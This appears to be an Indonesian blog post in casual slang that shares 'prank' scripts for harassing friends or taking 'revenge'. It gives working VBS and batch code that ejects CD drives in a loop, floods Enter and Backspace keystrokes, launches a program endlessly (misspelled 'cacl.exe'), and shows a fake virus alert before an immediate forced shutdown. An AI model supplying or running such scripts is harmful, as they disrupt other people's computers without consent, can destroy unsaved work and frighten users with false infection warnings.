Script Script Komputer Untuk Jahil

whehehe ketemu lagi dalam acara jahil dech, wkekekeke bercanda gan.

Kali ini ane gak akan share cheat dolo gan maklum kompy ane masih kena virus jd kaga bisa OL PB nih, tp kita akan membahas tentang Script Script Iseng untuk Menjahili Teman atau Orang lain,, whehehehe mayan kan :p
Cara gunainnya seperti biasa lewat Notepad, simpan dalam format .vbs namanya terserah aja.

1. Meng-eject Drive CD-Room Terus-Menerus

Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. Tombol Enter Terus-terusan Aktif

Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

3. Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

4. Iseng Dengan Membuka Calculator Terus Menerus
Code:

@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

5. Iseng Dengan Shutdown Komputer
Code:

@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Semoga Bermanfaat buat Balas Dendam.. hehe